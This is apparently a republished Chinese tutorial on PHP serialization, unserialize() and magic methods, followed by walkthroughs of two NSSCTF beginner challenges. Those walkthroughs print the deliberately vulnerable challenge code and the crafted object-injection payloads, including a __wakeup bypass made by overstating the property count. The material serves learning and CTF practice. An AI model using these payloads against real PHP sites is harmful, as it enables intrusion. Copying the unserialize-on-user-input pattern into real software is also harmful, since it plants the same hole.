PHP序列化、反序列化

目錄

一、PHP序列化:serialize()

1.對象序列化

2.pop鏈序列化

3.數組序列化

二、反序列化:unserialize()

三、魔術方法

?四、NSSCTF相關簡單題目

1.[SWPUCTF 2021 新生賽]ez_unserialize

2.[SWPUCTF 2021 新生賽]no_wakeup


學習參考:

PHP反序列化新手入門學習總結_php反序列化

php反序列化漏洞

一、PHP序列化:serialize()

序列化:是將變量或對象轉換成字符串的過程

用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結構。

php序列化的字母標識:a - 數組 (Array): 一種數據結構,可以存儲多個相同類型的元素。
b - 布爾型 (Boolean): 一種數據類型,只有兩個可能的值:true 或 false。
d - 雙精度浮點數 (Double): 一種數據類型,用于存儲雙精度浮點數值。
i - 整型 (Integer): 一種數據類型,用于存儲整數值。
o - 普通對象 (Common Object): 一個通用的對象類型,它可以是任何類的實例。
r - 引用 (Reference): 指向對象的引用,而不是對象本身。
s - 字符串 (String): 一種數據類型,用于存儲文本數據。
C - 自定義對象 (Custom Object): 指由開發者定義的特定類的實例。
O - 類 (Class): 在面向對象編程中,類是一種藍圖或模板,用于創建對象。
N - 空 (Null): 在許多編程語言中,null 表示一個不指向任何對象的特殊值。
R - 指針引用 (Pointer Reference): 一個指針變量,其值為另一個變量的地址。
U - 統一碼字符串 (Unicode String): 一種數據類型,用于存儲包含各種字符編碼的文本數據。
各類型值的serialize序列化:空字符       null  ->     N;
整型         123   ->     i:123;
浮點型       1.5   ->     d:1.5;
boolean型    true   ->    b:1;
boolean型    fal    ->    b:0;
字符串       “haha”  ->   s:4:"haha";

1.對象序列化

<?php
class test                        //定義一個test類
{public $test1="ll";           //public是訪問修飾符protected $test2="hh";private $test3="nn";
}
$a=new test();
echo serialize($a);
?>//輸出  O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}Public(公有):被序列化時屬性值為:屬性名
Protected(受保護):被序列化時屬性值為:\x00*\x00屬性名
Private(私有):被序列化時屬性值為:\x00類名\x00屬性名

//大寫字母O表示對象,4是類名長度,test為類名,表示該類有3個成員屬性

//類中變量的個數3:{類型:長度:“值”;類型:長度:“值”…以此類推}

protected 和private輸出時有不可打印字符,如下圖。

 

故類在寫payload時通常會使用urlencode()函數編碼。

2.pop鏈序列化

<?php
class test1
{public $a="ll";public $b=true;public $c=123;
}
class test2
{public $d;public $h="hhh";
}$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>//輸出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}

3.數組序列化

<?php
$a=array("ll",123,true);
echo serialize($a);
?>//輸出  
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示這是一個數組的序列化,成員屬性名為數組的下標,格式 {i:數組下標;類型:長度:“值”; 以此類推}

二、反序列化:unserialize()

反序列化是:將字符串轉換成變量對象的過程

反序列化的結果不能用echo函數,只能用print_r()var_dump()

<?php
class test
{public $test1="ll";public $test2=123;
}$a=new test();
$b=serialize($a);
print_r(unserialize($b));$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>
//輸出
test Object
([test1] => ll[test2] => 123
)object(test)#2 (4) {["test1"]=>string(2) "ll"["test2"]=>int(123)["a"]=>string(3) "666"["b"]=>int(6666)
}

三、魔術方法

魔術方法是一個預定好的、在特定情況下自動觸發的行為方法

__construct()       //類的構造函數,創建對象時觸發
__destruct()        //類的析構函數,對象被銷毀時觸發
__call()            //調用對象不可訪問、不存在的方法時觸發
__callStatic()      //在靜態上下文中調用不可訪問的方法時觸發
__get()             //調用不可訪問、不存在的對象成員屬性時觸發
__set()             //在給不可訪問、不存在的對象成員屬性賦值時觸發
__isset()           //當對不可訪問屬性調用isset()或empty()時觸發
__unset()           //在不可訪問的屬性上使用unset()時觸發
__invoke()          //把對象當初函數調用時觸發
__sleep()           //執行serialize()時,先會調用這個方法
__wakeup()          //執行unserialize()時,先會調用這個方法
__toString()        //把對象當成字符串調用時觸發
__clone()           //使用clone關鍵字拷貝完一個對象后觸發
... ...

1.對象被創建時觸發__construct()方法,對象使用完被銷毀時觸發__destruct()方法

2.對象被序列化時觸發了__sleep(),字符串被反序列化時觸發了__wakeup()

3.echo $a 把對象當成字符串輸出觸發了__toString()

?? $a() 把對象當成函數執行觸發了__invoke()

4.$a->h()調用了不存在的方法觸發了__call()方法

四、NSSCTF相關簡單題目

1.[SWPUCTF 2021 新生賽]ez_unserialize

打開環境只有一個表情包

查看源代碼發現Disallow(禁止抓取),使用robots.txt協議查看,發現/cl45s.php目錄

訪問得到環境代碼

<?php
error_reporting(0);
show_source("cl45s.php");             // 顯示文件 cl45s.php 的源代碼class wllm {                          // 定義一個名為 wllm 的類   public $admin;                    // 公共屬性 adminpublic $passwd;                   // 公共屬性 passwdpublic function __construct() {   // 構造函數,用于初始化對象     $this->admin = "user";        // 初始化 admin 為 "user"$this->passwd = "123456";     // 初始化 passwd 為 "123456"}public function __destruct() {    // 析構函數,用于在對象不再被引用時執行清理操作// 檢查 admin 是否為 "admin" 并且 passwd 是否為 "ctf"if ($this->admin === "admin" && $this->passwd === "ctf") {            include("flag.php");           echo $flag;} else {            echo $this->admin;        // 打印 admin 的值           echo $this->passwd;       // 打印 passwd 的值            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"}}
}
$p = $_GET['p'];                       //GET傳參p
unserialize($p);                       //反序列化p?>

admin=admin,passwd=ctf時得到flag,序列化p。

PHP 在線工具 | 菜鳥工具

構造payload,得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

2.[SWPUCTF 2021 新生賽]no_wakeup

打開環境,代碼審計

<?php// 設置HTTP頭信息,指定內容的類型和字符編碼
header("Content-type:text/html;charset=utf-8");// 關閉錯誤報告,不顯示任何錯誤信息
error_reporting(0);// 顯示文件class.php的源代碼
show_source("class.php");// 定義一個名為HaHaHa的類
class HaHaHa{// 兩個公共屬性:admin和passwdpublic $admin;public $passwd;// 構造函數,當創建新對象時自動調用public function __construct(){// 初始化admin為"user",passwd為"123456"$this->admin ="user";$this->passwd = "123456";}// __wakeup魔術方法,當對象被反序列化時自動調用public function __wakeup(){// 將passwd加密為sha1哈希值$this->passwd = sha1($this->passwd);}// __destruct魔術方法,當對象被銷毀時自動調用public function __destruct(){// 檢查admin是否等于"admin"且passwd是否等于"wllm"if($this->admin === "admin" && $this->passwd === "wllm"){// 如果條件滿足,引入flag.php文件,并輸出變量$flag的值include("flag.php");echo $flag;}else{// 如果條件不滿足,輸出經過sha1加密的passwd值和"No wake up"字符串echo $this->passwd;echo "No wake up";}}
}// 通過GET請求獲取參數p的值,并將其作為反序列化的輸入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>

admin=admin,passwd=wllm得到flag,序列化p

<?php
class HaHaHa{public $admin="admin";public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>

但其中多了一個__wakeup的魔術方法

__wakeup函數漏洞原理:當序列化字符串表示對象屬性個數的值 大于 真實個數的屬性時就會跳過__wakeup的執行

故構造一個大于2對象的payload,得到flag

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/22769.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/22769.shtml
英文地址,請注明出處:http://en.pswp.cn/web/22769.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

054、Python 函數的概念以及定義

編程大師Martin Fowler曾說過&#xff1a;“代碼有很多種壞味道&#xff0c;重復是最壞的一種。” 那么遇到重復的代碼&#xff0c;如何做&#xff1f;答案就是&#xff1a;函數。 函數就是把重復的代碼封裝在一起&#xff0c;然后通過調用該函數從而實現在不同地方運行同樣的…

解決MAC M1 Docker Desktop啟動一直在starting

問題描述&#xff1a; 今天使用docker buildx 構建Multi-platform&#xff0c;提示如下錯誤&#xff1a; ERROR: Multi-platform build is not supported for the docker driver. Switch to a different driver, or turn on the containerd image store, and try again. 于是按…

蘋果ios用戶下載ipa文件內測簽名的后的app應用下載安裝到手機圖標消失了是什么原因呢?

下載好的應用竟然找不到了&#xff1f;究竟有哪些原因呢&#xff1f;本篇文章將總結一些可能性&#xff01; 若你在蘋果設備上下載了一個應用程序&#xff0c;但它的圖標不見了&#xff0c;可能有以下幾種原因&#xff1a; 1. 刪除應用的時候出現彈窗如果你錯誤的點擊到了從…

EasyRecovery2024破解版本下載,電腦數據恢復新突破!

在當今數字化時代&#xff0c;數據安全和軟件版權已成為全球關注的熱點。EasyRecovery&#xff0c;作為一款廣受歡迎的數據恢復軟件&#xff0c;因其強大的數據恢復功能而深受用戶喜愛。然而&#xff0c;隨著“EasyRecovery2024 crack”關鍵詞的流行&#xff0c;我們不得不面對…

電子電氣架構 —— 刷寫模式:并行刷寫

電子電氣架構 —— 刷寫模式:并行刷寫 我是穿拖鞋的漢子,魔都中堅持長期主義的工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 人們會在生活中不斷攻擊你。他們的主要武器是向你灌輸對自己的懷疑:你的價值、你的能力、你的潛力。他們往往會將此…

【深度學習入門篇一】阿里云服務器(不需要配環境直接上手跟學代碼)

前言 博主剛剛開始學深度學習&#xff0c;配環境配的心力交瘁&#xff0c;一塌糊涂&#xff0c;不想配環境的剛入門的同伴們可以直接選擇阿里云服務器 阿里云天池實驗室&#xff0c;在入門階段跑個小項目完全沒有問題&#xff0c;不要自己傻傻的在那配環境配了半天還不匹配&a…

二叉樹的層序遍歷Ⅱ-力扣

很簡單的一道題&#xff0c;將前一道題的結果數組進行一次反轉即可。 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(i…

【ARM Cache 系列文章 2.1 -- Cache PoP 及 PoDP 介紹】

請閱讀【ARM Cache 及 MMU/MPU 系列文章專欄導讀】 及【嵌入式開發學習必備專欄】 文章目錄 PoP 及 PoDPCache PoDPCache PoP應用和影響PoP 及 PoDP Cache PoDP 點對深度持久性(Point of Deep Persistence, PoDP)是內存系統中的一個點,在該點達到的任何寫操作即使在系統供電…

石油行業的數字化轉型與智能化發展:新技術綜合運用助力業務提升

引言 石油行業面臨的挑戰與機遇 石油行業是全球能源供應的重要支柱&#xff0c;然而&#xff0c;隨著資源枯竭、環境壓力增加以及市場競爭加劇&#xff0c;石油企業面臨著前所未有的挑戰。傳統的勘探和生產方式已經難以滿足當前高效、安全、環保的要求。同時&#xff0c;能源轉…

用幻燈片來解釋C/C++指針及運算

在互聯網上發現了一個很好的C入門學習網站&#xff0c;用各種圖表和幻燈片來學習C知識&#xff0c;非常直觀&#xff0c;一目了然&#xff0c;比看文字更容易理解。做個搬運工用中文分享一下C/C最難懂的的內存指針的講解&#xff0c;由淺入深的將指針解釋的很清楚易懂&#xff…

web刷題記錄(3)

[NISACTF 2022]checkin 簡單的get傳參,好久沒做過這么簡單的題了 王德發&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff01;&#xff0c;看了源代碼以后&#xff0c;本來以為是js腳本的問題&#xff0c;但是禁用js腳本沒用&#xff0c;看了大佬的wp以后…

鴻蒙輕內核M核源碼分析系列六 任務及任務調度(2)任務模塊

任務是操作系統一個重要的概念&#xff0c;是競爭系統資源的最小運行單元。任務可以使用或等待CPU、使用內存空間等系統資源&#xff0c;并獨立于其它任務運行。鴻蒙輕內核的任務模塊可以給用戶提供多個任務&#xff0c;實現任務間的切換&#xff0c;幫助用戶管理業務程序流程。…

智慧校園究竟有何魅力?

隨著科技的快速發展&#xff0c;智慧校園已成為教育領域的熱門話題。智慧校園利用先進的技術手段&#xff0c;將信息化與教育深度融合&#xff0c;為學生、教師和家長提供更便捷、高效的教育服務。本文將帶您深入了解智慧校園的魅力&#xff0c;讓您對未來教育的發展充滿期待。…

Ego微商項目部署(小程序項目)(全網最詳細教程)

目錄 1.項目部署前的準備 1.1獲取APPID和APPSecret&#xff08;微信小程序&#xff09; 1.2測試工具 1.3微信開發者工具下載與安裝 2.Ego微商后端項目部署 2.1部署細節流程 2.2部署架構圖 2.3組件要求及版本 2.4后臺部署操作 2.4.1安裝vm和cenos7 2.4.2本地服務檢查…

我們如何利用 0 美元營銷將 UX/UI 產品發展到 320k 用戶

嘿 &#x1f44b; 我是 Paul&#xff0c;FlowMapp 的聯合創始人。 現在&#xff0c;我們是一個由7人&#xff08;少數兼職成員&#xff09;組成的團隊&#xff0c;試圖將產品擴展到$ 1M ARR。 希望這些對您有所幫助&#xff0c;并祝您未來的產品好運&#xff01; 我決定與…

【AI大模型】Transformers大模型庫(四):AutoTokenizer

目錄??????? 一、引言 二、自動分詞器&#xff08;AutoTokenizer&#xff09; 2.1 概述 2.2 主要特點 2.3 代碼示例 三、總結 一、引言 這里的Transformers指的是huggingface開發的大模型庫&#xff0c;為huggingface上數以萬計的預訓練大模型提供預測、訓練等服…

PMAT安裝及使用(Bioinformatics工具-021)

01 背景 PMAT 是一個高效的組裝工具包&#xff0c;用于利用第三代&#xff08;HiFi/CLR/ONT&#xff09;測序數據組裝植物線粒體基因組。PMAT 還可以用于組裝葉綠體基因組或動物線粒體基因組。 PMAT&#xff1a;使用低覆蓋度HiFi測序數據的高效植物線粒體組裝工具包-文獻精讀…

python字符串的進階

在上一篇文章的 密碼破解器 中&#xff0c;我們回顧了循環專題的知識點。 while 循環和 for 循環是 Python 中的兩大循環語句&#xff0c;它們都可以實現循環的功能&#xff0c;但在具體使用時略有差別。當循環次數不確定時&#xff0c;我們選用 while 循環&#xff1b;當循環…

【限免】雜波環境下線性調頻脈沖、巴克碼、頻率步進脈沖雷達MTI、脈沖壓縮【附MATLAB代碼】

文章來源&#xff1a;?微信公眾號&#xff1a;EW Frontier/ 智能電磁頻譜算法 本代碼主要模擬雜波環境&#xff08;飛機、地雜波、鳥類信號&#xff09;下&#xff0c;Chirp脈沖、巴克碼脈沖、頻率步進脈沖雷達信號的脈沖壓縮及MTI、匹配濾波。 MATLAB主代碼 % 生成雷達信號…

做任務賺錢的app有哪些?(真實可靠能做任務賺錢軟件app推薦)

在數字化時代&#xff0c;通過手機APP做任務賺錢已成為一種流行的兼職方式。這些APP為用戶提供了完成小任務以賺取現金或獎勵的機會。以下是一些真實可靠的做任務賺錢的APP推薦&#xff0c;幫助您在空閑時間增加收入。 賞幫賺是一個正規的兼職接單賺錢平臺&#xff0c;在這個平…